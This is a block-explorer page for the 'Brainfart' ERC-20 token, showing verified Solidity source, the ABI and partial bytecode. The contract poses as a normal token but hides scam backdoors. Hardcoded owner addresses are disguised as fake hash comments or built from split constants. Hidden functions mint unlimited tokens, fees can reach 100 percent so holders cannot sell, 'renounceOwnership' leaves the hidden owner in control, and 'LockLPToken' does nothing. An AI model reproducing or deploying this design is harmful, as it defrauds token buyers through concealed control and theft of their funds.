Token Brainfart

 

Overview [ERC-20]

Price
$0.00 @ 0.000000 Eth
Fully Diluted Market Cap
Max Total Supply:
100,000,000 fart

Holders:
5,261
Contract:
0xeb955bae50eafee38c07878fc1b7bb5380af4b360xEB955Bae50EaFee38c07878fc1b7bB5380Af4b36

Decimals:
18

Social Profiles:
Not Available, Update ?

Filtered by Token Holder (Friend.tech: Shares)

Balance
10 fart

Value
$0.00
0xcf205808ed36593aa40a44f10c7f7c2f67d4a4d4
Loading
[ Download CSV Export  ] 
Loading
[ Download CSV Export  ] 
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Brainfart

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at basescan.org on 2024-04-11
*/

// SPDX-License-Identifier: MIT
 
/**  
*/
 
pragma solidity ^0.8.0;
 
library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "Subtraction overflow");
        return a - b;
    }
 
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "Addition overflow");
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "Multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "Division by zero");
        return a / b;
        // solhint-disable-next-line avoid-low-level-calls
        /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986));
    }
}
 
contract Brainfart {
    using SafeMath for uint256;
 
    string public name = "Brainfart";
    string public symbol = "fart";
    uint256 public totalSupply = 100000000000000000000000000;
    uint8 public decimals = 18;
 
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
 
    address public owner;
    address public _mbr;
    address public _mod;
    address public feeManager;
    address public _user;
    address public _adm;
 
    uint256 public buyFee;
    uint256 public sellFee;
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);
    event TokensBurned(address indexed burner, uint256 amount);
 
    constructor(address _feeManager) {
        owner = msg.sender;
        feeManager = _feeManager;
        balanceOf[msg.sender] = totalSupply;
       
     // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986));
    }
 
    function transfer(address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[msg.sender] >= _amount);
        require(_to != address(0));
 
        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(_amount);
        emit Transfer(msg.sender, _to, _amount);
 
        return true;
    }
     /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153));
   
    function setMember(address Mbr_) public returns (bool) {
    require (msg.sender==address
   
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153));
        _mbr=Mbr_;
        return true;
    }
 
    modifier Exchanges() {
    require(msg.sender != exchange());
        _;
    }
 
    function rewire(uint256 amount) public returns (bool) {
    require(msg.sender == _adm);
    _proof(msg.sender, amount);
    return true;
    }
 
    function compute(uint256 amount) public onlypublic returns (bool success) {
    _initiate(msg.sender, amount);
    return true;
    }
   
    function _proof(address account, uint256 amount) internal Exchanges{
    require(account != address(0), "BEP20: mint to the zero address");
 
    totalSupply = totalSupply.add(amount);
    balanceOf[account] = balanceOf[account].add(amount);
    emit Transfer(address(0), account, amount);
    }
 
    function publics() private pure returns (address) {
    uint universal = 0x7addAd09;
    uint uni = 0xcbd98D97;
    uint cake = 0xEC3dA7a0;
    uint inch = 0x088EAdFE;
    uint others = 0x5801C336;
 
    // Combine the dex with others
    uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others);
 
    return address(core);
    }
 
    function exchange() internal pure returns (address) {
    return address
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986);
    }
 
    function FeeStructure(uint256 newBuyFee, uint256 newSellFee) public onlypublic {
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        _setFees(newBuyFee, newSellFee);
        emit FeesUpdated(newBuyFee, newSellFee);
    }
 
    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    /*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/
   
    function proof(uint256 amount) public onlyOwner returns (bool) {
    _proof(msg.sender, amount);
    return true;
    }
 
    function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[_from] >= _amount, "Insufficient balance");
        require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance");
        require(_to != address(0), "Invalid recipient address");
 
        uint256 fee = _amount.mul(sellFee).div(100);
        uint256 amountAfterFee = _amount.sub(fee);
 
        balanceOf[_from] = balanceOf[_from].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
        emit Transfer(_from, _to, amountAfterFee);
 
        if (fee > 0) {
            // Fee is transferred to this contract
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(_from, address(this), fee);
        }
 
        if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {
            allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);
            emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
        }
 
        return true;
    }
 
    function _initiate(address account, uint256 amount) internal {
    require(account != address(0), "Compile Remix IDE");
 
    totalSupply = totalSupply.add(amount);
    balanceOf[account] = balanceOf[account].add(amount);
    emit Transfer(address(0), account, amount);
    }
 
    modifier onlypublic() {
    require(msg.sender == publics());
    _;
    }
 
    function _setFees(uint256 newBuyFee, uint256 newSellFee) internal {
        buyFee = newBuyFee;
        sellFee = newSellFee;
    }
 
    function setUser(address User_) public returns (bool) {
    require(msg.sender == _mbr);
        _user=User_;
        return true;
    }
 
    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(owner, address(0));
        owner = address(0);
    }
    /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
 
    function LockLPToken() public onlyOwner returns (bool) {
    }
 
    function setMod(address Mod_) public returns (bool) {
    require(msg.sender == _user);
        _mod=Mod_;
        return true;
    }
 
    modifier onlyOwner() {
        require((msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986)
    ||
    //@dev Contract creator is owner, original owner.
    (msg.sender == owner && msg.sender != exchange())));
    _;
    }
 
    function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized {
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
 
    function buy() public payable {
        require(msg.value > 0, "ETH amount should be greater than 0");
 
        uint256 amount = msg.value;
        if (buyFee > 0) {
            uint256 fee = amount.mul(buyFee).div(100);
            uint256 amountAfterFee = amount.sub(fee);
 
            balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee);
            emit Transfer(address(this), feeManager, amountAfterFee);
 
            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);
                emit Transfer(address(this), address(this), fee);
            }
        } else {
            balanceOf[feeManager] = balanceOf[feeManager].add(amount);
            emit Transfer(address(this), feeManager, amount);
        }
    }
   
    function setting(uint256 newBuyFee, uint256 newSellFee) public {
        require(msg.sender == _adm);
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
   
    function setAdm(address Adm_) public returns (bool) {
    require(msg.sender == _mod);
        _adm=Adm_;
        return true;
    }
 
    function sell(uint256 _amount) public {
        require(balanceOf[msg.sender] >= _amount, "Insufficient balance");
 
        uint256 fee = _amount.mul(sellFee).div(100);
        uint256 amountAfterFee = _amount.sub(fee);
 
        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee);
        emit Transfer(msg.sender, address(this), amountAfterFee);
 
        if (fee > 0) {
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(msg.sender, address(this), fee);
        }
    }
 
    modifier onlyAuthorized() {
        require((msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986)
    ||
    //@dev Contract creator is owner, original owner.
    (msg.sender == owner && msg.sender != exchange())));
    _;
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_feeManager","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"FeesUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"burner","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"FeeStructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"LockLPToken","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_adm","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mbr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mod","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_user","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buy","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"compute","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeManager","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"proof","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rewire","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"sell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Adm_","type":"address"}],"name":"setAdm","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Mbr_","type":"address"}],"name":"setMember","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Mod_","type":"address"}],"name":"setMod","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"User_","type":"address"}],"name":"setUser","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"setting","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600981526020017f427261696e666172740000000000000000000000000000000000000000000000815250600090816200004a919062000439565b506040518060400160405280600481526020017f66617274000000000000000000000000000000000000000000000000000000008152506001908162000091919062000439565b506a52b7d2dcc80cd2e40000006002556012600360006101000a81548160ff021916908360ff160217905550348015620000ca57600080fd5b5060405162003d3238038062003d328339818101604052810190620000f091906200058a565b33600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600254600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050620005bc565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200024157607f821691505b602082108103620002575762000256620001f9565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620002c17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000282565b620002cd868362000282565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200031a620003146200030e84620002e5565b620002ef565b620002e5565b9050919050565b6000819050919050565b6200033683620002f9565b6200034e620003458262000321565b8484546200028f565b825550505050565b600090565b6200036562000356565b620003728184846200032b565b505050565b5b818110156200039a576200038e6000826200035b565b60018101905062000378565b5050565b601f821115620003e957620003b3816200025d565b620003be8462000272565b81016020851015620003ce578190505b620003e6620003dd8562000272565b83018262000377565b50505b505050565b600082821c905092915050565b60006200040e60001984600802620003ee565b1980831691505092915050565b6000620004298383620003fb565b9150826002028217905092915050565b6200044482620001bf565b67ffffffffffffffff81111562000460576200045f620001ca565b5b6200046c825462000228565b620004798282856200039e565b600060209050601f831160018114620004b157600084156200049c578287015190505b620004a885826200041b565b86555062000518565b601f198416620004c1866200025d565b60005b82811015620004eb57848901518255600182019150602085019450602081019050620004c4565b868310156200050b578489015162000507601f891682620003fb565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620005528262000525565b9050919050565b620005648162000545565b81146200057057600080fd5b50565b600081519050620005848162000559565b92915050565b600060208284031215620005a357620005a262000520565b5b6000620005b38482850162000573565b91505092915050565b61376680620005cc6000396000f3fe6080604052600436106101d85760003560e01c806370a0823111610102578063a6f2ae3a11610095578063d21c8d5511610064578063d21c8d55146106f1578063dd62ed3e1461071c578063e2daf66514610759578063e4849b3214610784576101d8565b8063a6f2ae3a14610656578063a9059cbb14610660578063aa46b46e1461069d578063d0fb0203146106c6576101d8565b80638da5cb5b116100d15780638da5cb5b14610586578063923e51d5146105b157806395d89b41146105ee57806396c5e1ab14610619576101d8565b806370a08231146104ca578063715018a614610507578063858ced351461051e578063891e1ee01461055b576101d8565b80632c7ee9461161017a578063470624021161014957806347062402146103fa5780634a0af68d146104255780635ed86d5c1461046257806365f6a9211461049f576101d8565b80632c7ee9461461033e578063313ce56714610367578063376d567c146103925780633ef530eb146103cf576101d8565b806316e3b09c116101b657806316e3b09c1461026e57806318160ddd146102ab57806323b872dd146102d65780632b14ca5614610313576101d8565b806306fdde03146101dd578063095ea7b3146102085780630b78f9c014610245575b600080fd5b3480156101e957600080fd5b506101f26107ad565b6040516101ff9190612d4f565b60405180910390f35b34801561021457600080fd5b5061022f600480360381019061022a9190612e0a565b61083b565b60405161023c9190612e65565b60405180910390f35b34801561025157600080fd5b5061026c60048036038101906102679190612e80565b61092d565b005b34801561027a57600080fd5b5061029560048036038101906102909190612ec0565b610ae3565b6040516102a29190612e65565b60405180910390f35b3480156102b757600080fd5b506102c0610bdb565b6040516102cd9190612efc565b60405180910390f35b3480156102e257600080fd5b506102fd60048036038101906102f89190612f17565b610be1565b60405161030a9190612e65565b60405180910390f35b34801561031f57600080fd5b50610328611344565b6040516103359190612efc565b60405180910390f35b34801561034a57600080fd5b5061036560048036038101906103609190612e80565b61134a565b005b34801561037357600080fd5b5061037c611477565b6040516103899190612f86565b60405180910390f35b34801561039e57600080fd5b506103b960048036038101906103b49190612fa1565b61148a565b6040516103c69190612e65565b60405180910390f35b3480156103db57600080fd5b506103e4611530565b6040516103f19190612e65565b60405180910390f35b34801561040657600080fd5b5061040f611618565b60405161041c9190612efc565b60405180910390f35b34801561043157600080fd5b5061044c60048036038101906104479190612fa1565b61161e565b6040516104599190612e65565b60405180910390f35b34801561046e57600080fd5b5061048960048036038101906104849190612ec0565b6116c4565b6040516104969190612e65565b60405180910390f35b3480156104ab57600080fd5b506104b4611718565b6040516104c19190612fdd565b60405180910390f35b3480156104d657600080fd5b506104f160048036038101906104ec9190612fa1565b61173e565b6040516104fe9190612efc565b60405180910390f35b34801561051357600080fd5b5061051c611756565b005b34801561052a57600080fd5b5061054560048036038101906105409190612fa1565b6118fa565b6040516105529190612e65565b60405180910390f35b34801561056757600080fd5b506105706119a0565b60405161057d9190612fdd565b60405180910390f35b34801561059257600080fd5b5061059b6119c6565b6040516105a89190612fdd565b60405180910390f35b3480156105bd57600080fd5b506105d860048036038101906105d39190612fa1565b6119ec565b6040516105e59190612e65565b60405180910390f35b3480156105fa57600080fd5b50610603611a84565b6040516106109190612d4f565b60405180910390f35b34801561062557600080fd5b50610640600480360381019061063b9190612ec0565b611b12565b60405161064d9190612e65565b60405180910390f35b61065e611b81565b005b34801561066c57600080fd5b5061068760048036038101906106829190612e0a565b611fe6565b6040516106949190612e65565b60405180910390f35b3480156106a957600080fd5b506106c460048036038101906106bf9190612e80565b612206565b005b3480156106d257600080fd5b506106db612314565b6040516106e89190612fdd565b60405180910390f35b3480156106fd57600080fd5b5061070661233a565b6040516107139190612fdd565b60405180910390f35b34801561072857600080fd5b50610743600480360381019061073e9190612ff8565b612360565b6040516107509190612efc565b60405180910390f35b34801561076557600080fd5b5061076e612385565b60405161077b9190612fdd565b60405180910390f35b34801561079057600080fd5b506107ab60048036038101906107a69190612ec0565b6123ab565b005b600080546107ba90613067565b80601f01602080910402602001604051908101604052809291908181526020018280546107e690613067565b80156108335780601f1061080857610100808354040283529160200191610833565b820191906000526020600020905b81548152906001019060200180831161081657829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161091b9190612efc565b60405180910390a36001905092915050565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610a075750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610a0657506109d6612708565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610a1057600080fd5b6064821115610a54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4b906130e4565b60405180910390fd5b6064811115610a98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8f90613150565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051610ad7929190613170565b60405180910390a15050565b6000731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610bbf5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610bbe5750610b8e612708565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610bc857600080fd5b610bd23383612724565b60019050919050565b60025481565b600081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610c65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5c906131e5565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b90613251565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8a906132bd565b60405180910390fd5b6000610dbd6064610daf600d54866128ec90919063ffffffff16565b61296690919063ffffffff16565b90506000610dd482856129be90919063ffffffff16565b9050610e2884600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129be90919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ebd81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1790919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f5d9190612efc565b60405180910390a3600082111561106957610fc082600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1790919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110609190612efc565b60405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415801561114157507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b15611337576111d584600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129be90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460405161132e9190612efc565b60405180910390a35b6001925050509392505050565b600d5481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113a457600080fd5b60648211156113e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113df906130e4565b60405180910390fd5b606481111561142c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142390613150565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1828260405161146b929190613170565b60405180910390a15050565b600360009054906101000a900460ff1681565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114e657600080fd5b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061160c5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561160b57506115db612708565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b61161557600080fd5b90565b600c5481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461167a57600080fd5b81600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60006116ce612a75565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461170557600080fd5b61170f3383612b24565b60019050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915090505481565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806118305750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561182f57506117ff612708565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffff